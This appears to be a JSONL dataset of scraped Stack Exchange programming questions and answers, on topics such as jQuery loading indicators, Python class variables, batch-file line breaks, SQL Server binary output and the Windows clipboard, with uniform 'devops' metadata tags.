{"id": "hf_3271b4dea638", "question": "<p>In <b>Prototype</b> I can show a \"loading...\" image with this code:</p>\n\n<pre><code>var myAjax = new Ajax.Request( url, {method: 'get', parameters: pars, \nonLoading: showLoad, onComplete: showResponse} );\n\nfunction showLoad () {\n    ...\n}\n</code></pre>\n\n<p>In <b>jQuery</b>, I can load a server page into an element with this:</p>\n\n<pre><code>$('#message').load('index.php?pg=ajaxFlashcard');\n</code></pre>\n\n<p>but how do I attach a loading spinner to this command as I did in Prototype?</p>\n", "question_body": "", "answer": "There are a couple of ways. My preferred way is to attach a function to the ajaxStart/Stop events on the element itself.\n```\n```\n$('#loadingDiv')\n    .hide()  // Hide it initially\n    .ajaxStart(function() {\n        $(this).show();\n    })\n    .ajaxStop(function() {\n        $(this).hide();\n    })\n;\n```\n```\nThe ajaxStart/Stop functions will fire whenever you do any Ajax calls.\nUpdate\n: As of jQuery 1.8, the documentation states that\n```\n.ajaxStart/Stop\n```\nshould only be attached to\n```\ndocument\n```\n. This would transform the above snippet to:\n```\n```\nvar $loading = $('#loadingDiv').hide();\n$(document)\n  .ajaxStart(function () {\n    $loading.show();\n  })\n  .ajaxStop(function () {\n    $loading.hide();\n  });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.268848"}
{"id": "hf_fb2a9fabb46a", "question": "<p>My team is developing a new service oriented product with a web front-end.  In discussions about what technologies we will use we have settled on running a JBoss application server, and Flex frontend (with possible desktop deployment using Adobe AIR), and web services to interface the client and server.</p>\n\n<p>We've reached an impasse when it comes to which server technology to use for our business logic.  The big argument is between EJB3 and Spring, with our biggest concerns being scalability and performance, and also maintainability of the code base.</p>\n\n<p>Here are my questions:</p>\n\n<ol>\n<li>What are the arguments for or against EJB3 vs Spring? \n\n<ul>\n<li>What pitfalls can I expect with each?</li>\n<li>Where can I find good benchmark information?</li>\n</ul></li>\n</ol>\n", "question_body": "", "answer": "I would definitely recommend EJB3 over spring. We find that it's more streamlined, nicer to code in, and better supported. I have in the past used Spring and found it to be very confusing, and not as well documented as EJB3 (or JPA I guess at the end of the day)\nAs of EJB3 you no longer have to deal with external config files, and there's only one POJO that you annotate per database table. This POJO can be passed to your web tier without any problems. IDEs like Netbeans can even auto-generate these POJOs for you. We've used EJB3 now as the back end for quite a few large scale applications, and haven't noticed any performance problems.\nYour Session Beans can be easily exposed as web services which you could expose to your Flex frontend.\nSession beans are easy to lock down at either a method or class level to assign roles and things like that if you need to.\nI can't speak that much about spring, as I only tried it out for a few weeks. But my overall impression of it was very poor. That doesn't mean it's bad framework, but our team here has found EJB3 to be the best for the persistence/business layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.318521"}
{"id": "hf_9a0d3f206412", "question": "<p>When trying to use <code>libxml2</code> as myself I get an error saying the package cannot be found. If I run as as super user I am able to import fine.</p>\n\n<p>I have installed <code>python25</code> and all <code>libxml2</code> and <code>libxml2-py25</code> related libraries via fink and own the entire path including the library. Any ideas why I'd still need to sudo?</p>\n", "question_body": "", "answer": "Check your path by running:\n```\n```\n'echo $PATH'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.353386"}
{"id": "hf_33172c76f832", "question": "<p>So, I am kinda new to ASP.net development still, and I already don't like the stock ASP.net controls for displaying my database query results in table format. (I.e. I would much rather handle the HTML myself and so would the designer!)</p>\n\n<p>So my question is: What is the best and most secure practice for doing this without using ASP.net controls? So far my only idea involves populating my query result during the Page_Load event and then exposing a DataTable through a getter to the *.aspx page. From there I think I could just iterate with a foreach loop and craft my table as I see fit.</p>\n", "question_body": "", "answer": "I believe you're looking for a\n```\n<Repeater>\n```\ncontrol.  It contains some functionality similar to the GridViews, but allows you hand-craft all of the HTML for the Header, Item, and Footers yourself.  Simply call the databinding code as you would for a gridview, and change the ASPX page to suit your exact HTML needs.\nhttp://msdn.microsoft.com/en-us/magazine/cc163780.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.376397"}
{"id": "hf_e44264a4c55f", "question": "<p>1, Create and build a default Windows Forms project and look at the project properties. It says that the project is targetting .NET Framework 2.0. </p>\n\n<p>2, Create a Setup project that installs just the single executable from the Windows Forms project. </p>\n\n<p>3, Run that installer and it always says that it needs to install .NET 3.5 SP1 on the machine. But it obviously only really needs 2.0 and so I do not want customers to be forced to install .NET 3.5 when they do not need it. They might already have 2.0 installed and so forcing the upgrade is not desirable!</p>\n\n<p>I have looked at the prerequisites of the setup project and checked the .NET Framework 2.0 entry and all the rest are unchecked. So I cannot find any reason for this strange runtime requirement. Anybody know how to resolve this one?</p>\n", "question_body": "", "answer": "Even if you are targetting a 2.0 deployment, some of your assemblies might require 3.5.  For instance, LINQ requires 3.0.  This should, however, be reflected when you build.  Check each assembly to ensure that it's 2.0 compatible.  You don't want any 3.5 things sneaking in.  If this is the case, my guess would be a 3rd party control library with support for WPF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.410838"}
{"id": "hf_4272d0ab53c8", "question": "<p>I am a C++/C# developer and never spent time working on web pages.  I would like to put text (randomly and diagonally perhaps) in large letters across the background of some pages.  I want to be able to read the foreground text and also be able to read the \"watermark\".  I understand that is probably more of a function of color selection.  </p>\n\n<p>I have been unsuccessful in my attempts to do what I want.  I would imagine this to be very simple for someone with the web design tools or html knowledge.  </p>\n", "question_body": "", "answer": "You could make an image with the watermark and then set the image as the background via css.\nFor example:\n```\n```\n<style type=\"text/css\">\n.watermark{background:url(urltoimage.png);}\n</style>\n<div class=\"watermark\">\n<p>this is some text with the watermark as the background.</p>\n</div>\n```\n```\nThat should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.445809"}
{"id": "hf_6d8bed27c177", "question": "<p>I have the following code snippet.</p>\n\n<pre><code>$items['A'] = \"Test\";\n$items['B'] = \"Test\";\n$items['C'] = \"Test\";\n$items['D'] = \"Test\";\n\n$index = 0;\nforeach($items as $key =&gt; $value)\n{\n    echo \"$index is a $key containing $value\\n\";\n    $index++;\n}\n</code></pre>\n\n<p>Expected output:</p>\n\n<pre><code>0 is a A containing Test\n1 is a B containing Test\n2 is a C containing Test\n3 is a D containing Test\n</code></pre>\n\n<p>Is there a  way to leave out the <code>$index</code> variable?</p>\n", "question_body": "", "answer": "Your $index variable there kind of misleading. That number isn't the index, your \"A\", \"B\", \"C\", \"D\" keys are. You can still access the data through the numbered index $index[1], but that's really not the point. If you really want to keep the numbered index, I'd almost restructure the data:\n```\n$items[] = array(\"A\", \"Test\");\n$items[] = array(\"B\", \"Test\");\n$items[] = array(\"C\", \"Test\");\n$items[] = array(\"D\", \"Test\");\n\nforeach($items as $key => $value) {\n    echo $key.' is a '.$value[0].' containing '.$value[1];\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.492531"}
{"id": "hf_e8699d264b5b", "question": "<p>I've seen this done in Borland's <a href=\"https://en.wikipedia.org/wiki/Turbo_C++\" rel=\"noreferrer\">Turbo C++</a> environment, but I'm not sure how to go about it for a C# application I'm working on. Are there best practices or gotchas to look out for?</p>\n", "question_body": "", "answer": "In Windows Forms, set the control's AllowDrop property, then listen for DragEnter event and DragDrop event.\nWhen the\n```\nDragEnter\n```\nevent fires, set the argument's\n```\nAllowedEffect\n```\nto something other than none (e.g.\n```\ne.Effect = DragDropEffects.Move\n```\n).\nWhen the\n```\nDragDrop\n```\nevent fires, you'll get a list of strings. Each string is the full path to the file being dropped.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.526884"}
{"id": "hf_cf49570cf262", "question": "<p>This is re-posted from something I posted on the DDD Yahoo! group.</p>\n\n<p>All things being equal, do you write phone.dial(phoneNumber) or phoneNumber.dialOn(phone)? Keep in mind possible future requirements (account numbers in addition to phone numbers, calculators in addition to phones).</p>\n\n<p>The choice tends to illustrate how the idioms of Information Expert, Single Responsibility Principle, and Tell Don't Ask are at odds with each other.</p>\n\n<p>phoneNumber.dialOn(phone) favors Information Expert and Tell Don't Ask, while phone.dial(phoneNumber) favors Single Responsibility Principle.</p>\n\n<p>If you are familiar with Ken Pugh's work in Prefactoring, this is the <a href=\"http://moffdub.wordpress.com/2008/09/10/the-spreadsheet-conundrum/\" rel=\"noreferrer\">Spreadsheet Conundrum</a>; do you add rows or columns?</p>\n", "question_body": "", "answer": "```\nphone.dial()\n```\n, because it's the phone that does the dialing.\nActor.Verb( inputs ) -> outputs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.573286"}
{"id": "hf_31febb800fc2", "question": "<p>I need a Regex that will match a java method declaration. I have come up with one that will match a method declaration, but it requires the opening bracket of the method to be on the same line as the declaration. If you have any suggestions to improve my regex or simply have a better one then please submit an answer.</p>\n\n<p>Here is my regex: <code>\"\\w+ +\\w+ *\\(.*\\) *\\{\"</code></p>\n\n<p>For those who do not know what a java method looks like I'll provide a basic one:</p>\n\n<pre><code>int foo()\n{\n\n}\n</code></pre>\n\n<p>There are several optional parts to java methods that may be added as well but those are the only parts that a method is guaranteed to have.</p>\n\n<p>Update:\nMy current Regex is <code>\"\\w+ +\\w+ *\\([^\\)]*\\) *\\{\"</code> so as to prevent the situation that Mike and adkom described.</p>\n", "question_body": "", "answer": "Have you considered matching the actual possible keywords?  such as:\n```\n```\n(?:(?:public)|(?:private)|(?:static)|(?:protected)\\s+)*\n```\n```\nIt might be a bit more likely to match correctly, though it might also make the regex harder to read...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.625958"}
{"id": "hf_3a6f5f636156", "question": "<p>Is it possible in C# to have a Struct with a member variable which is a Class type?  If so, where does the information get stored, on the Stack, the Heap, or both?</p>\n", "question_body": "", "answer": "Yes, you can.  The pointer to the class member variable is stored\non the stack\nwith the rest of the struct's values, and the class instance's data is stored on the heap.\nStructs can also contain class definitions as members (inner classes).\nHere's some really useless code that at least compiles and runs to show that it's possible:\n```\n```\nusing System;\n\nnamespace ConsoleApplication1\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            MyStr m = new MyStr();\n            m.Foo();\n\n            MyStr.MyStrInner mi = new MyStr.MyStrInner();\n            mi.Bar();\n\n            Console.ReadLine();\n        }\n    }\n\n    public class Myclass\n    {\n        public int a;\n    }\n\n    struct MyStr\n    {\n        Myclass mc;\n\n        public void Foo()\n        {\n            mc = new Myclass();\n            mc.a = 1;\n        }\n\n        public class MyStrInner\n        {\n            string x = \"abc\";\n\n            public string Bar()\n            {\n                return x;\n            }\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.660593"}
{"id": "hf_2c683357dac7", "question": "<p>How do I create class (i.e. <a href=\"https://en.wikipedia.org/wiki/Method_(computer_programming)#Static_methods\" rel=\"nofollow noreferrer\">static</a>) variables or methods in Python?</p>\n", "question_body": "", "answer": "Variables declared inside the class definition, but not inside a method are class or static variables:\n```\n```\n>>> class MyClass:\n...     i = 3\n...\n>>> MyClass.i\n3\n```\n```\nAs @\nmillerdev\npoints out, this creates a class-level\n```\ni\n```\nvariable, but this is distinct from any instance-level\n```\ni\n```\nvariable, so you could have\n```\n```\n>>> m = MyClass()\n>>> m.i = 4\n>>> MyClass.i, m.i\n>>> (3, 4)\n```\n```\nThis is different from C++ and Java, but not so different from C#, where a static member can't be accessed using a reference to an instance.\nSee\nwhat the Python tutorial has to say on the subject of classes and class objects\n.\n@Steve Johnson has already answered regarding\nstatic methods\n, also documented under\n\"Built-in Functions\" in the Python Library Reference\n.\n```\n```\nclass C:\n    @staticmethod\n    def f(arg1, arg2, ...): ...\n```\n```\n@beidy recommends\nclassmethod\ns over staticmethod, as the method then receives the class type as the first argument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.684196"}
{"id": "hf_07297384558e", "question": "<p>Suppose I have:</p>\n\n<ol>\n<li>Toby</li>\n<li>Tiny</li>\n<li>Tory</li>\n<li>Tily</li>\n</ol>\n\n<p>Is there an algorithm that can easily create a list of common characters in the same positions in all these strings?  (in this case the common characters are 'T' at position 0 and 'y' at position 3)</p>\n\n<p>I tried looking at some of the algorithms used for DNA sequence matching but it seems most of them are just used for finding common substrings regardless of their positions.</p>\n", "question_body": "", "answer": "Finding a list of characters that are common in ALL strings at a certain position is trivially simple.  Just iterate on each string for each character position 1 character position at a time.  If any string's character is not the match of it's closest neighbor string's character, then the position does not contain a common character.\nFor any i = 0 to length -1... Once you find Si[x] != Si+1[x] you can skip to the next position x+1.\nWhere Si is the ith string in the list.  And [x] is the character at position x.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.719641"}
{"id": "hf_b376e7248959", "question": "<p>Why does the following code sometimes causes an Exception with the contents \"CLIPBRD_E_CANT_OPEN\":</p>\n\n<pre><code>Clipboard.SetText(str);\n</code></pre>\n\n<p>This usually occurs the first time the Clipboard is used in the application and not after that.</p>\n", "question_body": "", "answer": "Actually, I think this is the\nfault of the Win32 API\n.\nTo set data in the clipboard, you have to\nopen it\nfirst.  Only one process can have the clipboard open at a time.  So, when you check, if another process has the clipboard open\nfor any reason\n, your attempt to open it will fail.\nIt just so happens that Terminal Services keeps track of the clipboard, and on older versions of Windows (pre-Vista), you have to open the clipboard to see what's inside... which ends up blocking you.  The only solution is to wait until Terminal Services closes the clipboard and try again.\nIt's important to realize that this is not specific to Terminal Services, though: it can happen with anything.  Working with the clipboard in Win32 is a giant race condition.  But, since by design you're only supposed to muck around with the clipboard in response to user input, this usually doesn't present a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.743269"}
{"id": "hf_9e23f042d4ae", "question": "<p>I'm using SQL Server 2000 to print out some values from a table using <code>PRINT</code>.  With most non-string data, I can cast to nvarchar to be able to print it, but binary values attempt to convert using the bit representation of characters.  For example:</p>\n\n<pre><code>DECLARE @binvalue binary(4)\nSET @binvalue = 0x12345678\nPRINT CAST(@binvalue AS nvarchar)\n</code></pre>\n\n<p>Expected:</p>\n\n<blockquote>\n  <p>0x12345678</p>\n</blockquote>\n\n<p>Instead, it prints two gibberish characters.</p>\n\n<p>How can I print the value of binary data?  Is there a built-in or do I need to roll my own?</p>\n\n<p>Update: This isn't the only value on the line, so I can't just PRINT @binvalue.  It's something more like PRINT N'other stuff' + ???? + N'more stuff'.  Not sure if that makes a difference: I didn't try just PRINT @binvalue by itself.</p>\n", "question_body": "", "answer": "```\n```\nDECLARE @binvalue binary(4)\nSET @binvalue = 0x61000000\nPRINT @binvalue \nPRINT cast('a' AS binary(4))\nPRINT cast(0x61 AS varchar)\n```\n```\nDo not cast.\nCasting converts the binary to text by value on the corresponding collation setting for the specific database.\n[Begin Edit]\nIf you need the printed value in a string variable use the function suggested by Eric Z Beard.\n```\n```\nDECLARE @mybin1 binary(16)\nDECLARE @s varchar(100)\nSET @mybin1 = 0x098F6BCD4621D373CADE4E832627B4F6\nSET @s = 'The value of @mybin1 is: ' + sys.fn_varbintohexsubstring(0, @mybin1,1,0)\nPRINT @s\n```\n```\nIf this function is not at your disposal due to server versions or because it needs special permissions, you can create your own function.\nTo see how that function was implemented in SQL Server 2005 Express edition you can execute:\n```\n```\nsp_helptext 'fn_varbintohexsubstring'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.770266"}
{"id": "hf_70cb2a4ecc73", "question": "<p>What is the best solution of defaultButton and \"Enter key pressed\" for ASP.NET 2.0-3.5 forms?</p>\n", "question_body": "", "answer": "Just add the \"defaultbutton\" attribute to the form and set it to the ID of the button you want to be the default.\n```\n<form defaultbutton=\"button1\" runat=\"server\">\n    <asp:textbox id=\"textbox1\" runat=\"server\"/>\n    <asp:button id=\"button1\" text=\"Button1\" runat=\"server\"/>\n</form>\n```\nNOTE: This only works in ASP.NET 2.0+", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.794230"}
{"id": "hf_ea4a2ad18e39", "question": "<p>I want to open a TCP client socket in Python. Do I have to go through all the low-level BSD create-socket-handle / connect-socket stuff or is there a simpler one-line way?</p>\n", "question_body": "", "answer": "Opening sockets in python is pretty simple. You really just need something like this:\n```\n```\nimport socket\nsock = socket.socket()\nsock.connect((address, port))\n```\n```\nand then you can\n```\nsend()\n```\nand\n```\nrecv()\n```\nlike any other socket", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.887122"}
{"id": "hf_ff6cb0ffbb2e", "question": "<p>How does the compiler know the prototype of sleep function or even printf function, when I did not include any header file in the first place?</p>\n\n<p>Moreover, if I specify <code>sleep(1,1,\"xyz\")</code> or any arbitrary number of arguments, the compiler still compiles it.\nBut the strange thing is that gcc is able to find the definition of this function at link time, I don't understand how is this possible, because actual <code>sleep()</code> function takes a single argument only, but our program mentioned three arguments.</p>\n\n<pre><code>/********************************/\nint main()\n{\n short int i;\n for(i = 0; i&lt;5; i++)\n {\n    printf(\"%d\",i);`print(\"code sample\");`\n    sleep(1);\n }\n return 0;\n}\n</code></pre>\n", "question_body": "", "answer": "C will guess int for unknown types.  So, it probably thinks sleep has this prototype:\n```\n```\nint sleep(int);\n```\n```\nAs for giving multiple parameters and linking...I'm not sure.  That does surprise me.  If that really worked, then what happened at run-time?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.945040"}
{"id": "hf_42b26402bdc0", "question": "<p>How can you measure the amount of time a function will take to execute? </p>\n\n<p>This is a relatively short function and the execution time would probably be in the millisecond range.</p>\n\n<p>This particular question relates to an embedded system, programmed in C or C++.</p>\n", "question_body": "", "answer": "```\n```\nstart_time = timer\nfunction()\nexec_time = timer - start_time\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:26.980019"}
{"id": "hf_048a91af27e2", "question": "<p>I have a personal pet project I'd like to start on, targeted at windows mobile 6.  I've never done win mobile dev and would like to know what resources are out there, good tools to use, perhaps a jump start tutorial, as well as any gotchas I might want to keep in mind when developing for the platform?</p>\n", "question_body": "", "answer": "Depending on the scale of the project, look at .NET compact framework. If you're familiar at all Visual Studio then it's pretty easy to get started. Of course MSDN is the place for resources.\nRunning managed code on a mobile device does take a big performance hit, but for a small personal project it's pretty good.\nAlso, most devices have all sorts of odd and weird quirks as well as strange hardware configurations. Look for any sort of developer program from the maker of your device.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.038843"}
{"id": "hf_84dc696dfef3", "question": "<p>Say I have a line in an emacs buffer that looks like this:</p>\n\n<pre><code>foo -option1 value1 -option2 value2 -option3 value3 \\\n    -option4 value4 ...\n</code></pre>\n\n<p>I want it to look like this:</p>\n\n<pre><code>foo -option1 value1 \\\n    -option2 value2 \\\n    -option3 value3 \\\n    -option4 value4 \\\n    ...\n</code></pre>\n\n<p>I want each option/value pair on a separate line. I also want those subsequent lines indented appropriately according to mode rather than to add a fixed amount of whitespace. I would prefer that the code work on the current block, stopping at the first non-blank line or line that does not contain an option/value pair though I could settle for it working on a selected region. </p>\n\n<p>Anybody know of an elisp function to do this? </p>\n", "question_body": "", "answer": "In this case I would use a macro.  You can start recording a macro with C-x (, and stop recording it with C-x ).  When you want to replay the macro type C-x e.\nIn this case, I would type, C-a C-x ( C-s v a l u e C-f C-f \\ RET SPC SPC SPC SPC C-x )\nThat would record a macro that searches for \"value\", moves forward 2, inserts a slash and newline, and finally spaces the new line over to line up.  Then you could repeat this macro a few times.\nEDIT: I just realized, your literal text may not be as easy to search as \"value1\".  You could also search for spaces and cycle through the hits.  For example, hitting, C-s a few times after the first match to skip over some of the matches.\nNote: Since your example is \"ad-hoc\" this solution will be too.  Often you use macros when you need an ad-hoc solution.  One way to make the macro apply more consistently is to put the original statement all on one line (can also be done by a macro or manually).\nEDIT: Thanks for the comment about ( versus C-(, you were right my mistake!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.062450"}
{"id": "hf_62be3a013bbf", "question": "<p>I'm using a Java socket, connected to a server. \nIf I send a HEADER http request, how can I measure the response time from the server? Must I use a provided java timer, or is there an easier way?</p>\n\n<p>I'm looking for a short answer, I don't want to use other protocols etc. Obviously do I neither want to have a solution that ties my application to a specific OS. Please people, IN-CODE solutions only. </p>\n", "question_body": "", "answer": "You can use time and curl and time on the command-line.  The -I argument for curl instructs it to only request the header.\n```\n```\ntime curl -I 'http://server:3000'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.086704"}
{"id": "hf_efdddee1fc9f", "question": "<p>I have an array of objects that when another object hits one of them, the object will be removed. I have removed it from the stage using removeChild() and removed from the array using splice(), but somehow the object is still calling some of its functions which is causing errors. How do I completely get rid of an object? There are no event listeners tied to it either.</p>\n", "question_body": "", "answer": "It sounds like you may be running into a garbage collection issue with the flash player.\nA new API has been added to Flash Player 10 that should address this:\nunloadAndStop()\nGrant Skinner has more info on this on his blog:\nhttp://www.gskinner.com/blog/archives/2008/07/unloadandstop_i.html\nYou can grab a beta of Flash Player 10 at:\nhttp://labs.adobe.com/technologies/flashplayer10/\nmike chambers\nmesh@adobe.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.134193"}
{"id": "hf_a5223bd3e82c", "question": "<p>How can I split long commands over multiple lines in a batch file?</p>\n", "question_body": "", "answer": "You can break up long lines with the caret\n```\n^\n```\nas long as you remember that the caret and the newline following it are completely removed. So, if there should be a space where you're breaking the line, include a space.\n(\nMore on that below.\n)\nExample:\n```\n```\ncopy file1.txt file2.txt\n```\n```\nwould be written as:\n```\n```\ncopy file1.txt^\n file2.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.212381"}
{"id": "hf_9b77f23bf7df", "question": "<p>When attempting to print using the SSRS Viewer Web Part in SharePoint I get the following error.</p>\n\n<blockquote>\n  <p>An error occured during printing. (0x8007F303)</p>\n</blockquote>\n\n<p>The settings we are using in this box (production) are exactly the same as the settings in testing where this works perfectly fine. </p>\n\n<p>Anyone have any good ideas or faced this before?</p>\n", "question_body": "", "answer": "I found some ideas by Googling.\nSomeone had issue with \"SSRS server configured for Sharepoint Integrated mode with Cumulative update package 3 for SQL Server 2005 Service Pack 2\" but \"the problem vanished after installing the .NET framework 3.0 SP1\"\nYou can get this error if you have\n\"old instances of the old \nReportViewer control in your web sites bin directories or anywhere else it \ncould be accessed by your web application.\"\nIt's another error 0x800C0005, but there is\nan incident where the error only occurred in production environment\n. bradsy@Microsoft says\nYou can enable Client print logging by\n  setting the follow reg key. Once\n  enabled, you can look in your print\n  users temporary (cd %temp%) directory\n  and find a print log file. Windows\nRegistry Editor Version 5.00\n```\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Microsoft SQL Server\\80\\Reporting Services]\n```\n```\n\"LogRSClientPrintInfo\"=dword:00000001\n```\nYou can send the log file to me and I\n  can take a look to see if there is any\n  extra information.\nMaybe you should collect the log and send it to the forum.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.236234"}
{"id": "hf_dc39b99b5499", "question": "<p>We have a web application that uses SQL Server 2008 as the database. Our users are able to do full-text searches on particular columns in the database. SQL Server's full-text functionality does not seem to provide support for hit highlighting. Do we need to build this ourselves or is there perhaps some library or knowledge around on how to do this? </p>\n\n<p>BTW the application is written in C# so a .Net solution would be ideal but not necessary as we could translate.</p>\n", "question_body": "", "answer": "You might be missing the point of the database in this instance.  Its job is to return the data to you that satisfies the conditions you gave it.  I think you will want to implement the highlighting probably using regex in your web control.\nHere is something a quick search would reveal.\nhttp://www.dotnetjunkies.com/PrintContent.aspx?type=article&id=195E323C-78F3-4884-A5AA-3A1081AC3B35", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.260784"}
{"id": "hf_c1ca0abac45f", "question": "<p>Can someone describe what a symbol table is within the context of C and C++?</p>\n", "question_body": "", "answer": "Briefly, it is the mapping of the name you assign a variable to its address in memory, including metadata like type, scope, and size. It is used by the compiler.\nThat's in general, not just C[++]*. Technically, it doesn't always include direct memory address. It depends on what language, platform, etc. the compiler is targeting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:27.321088"}
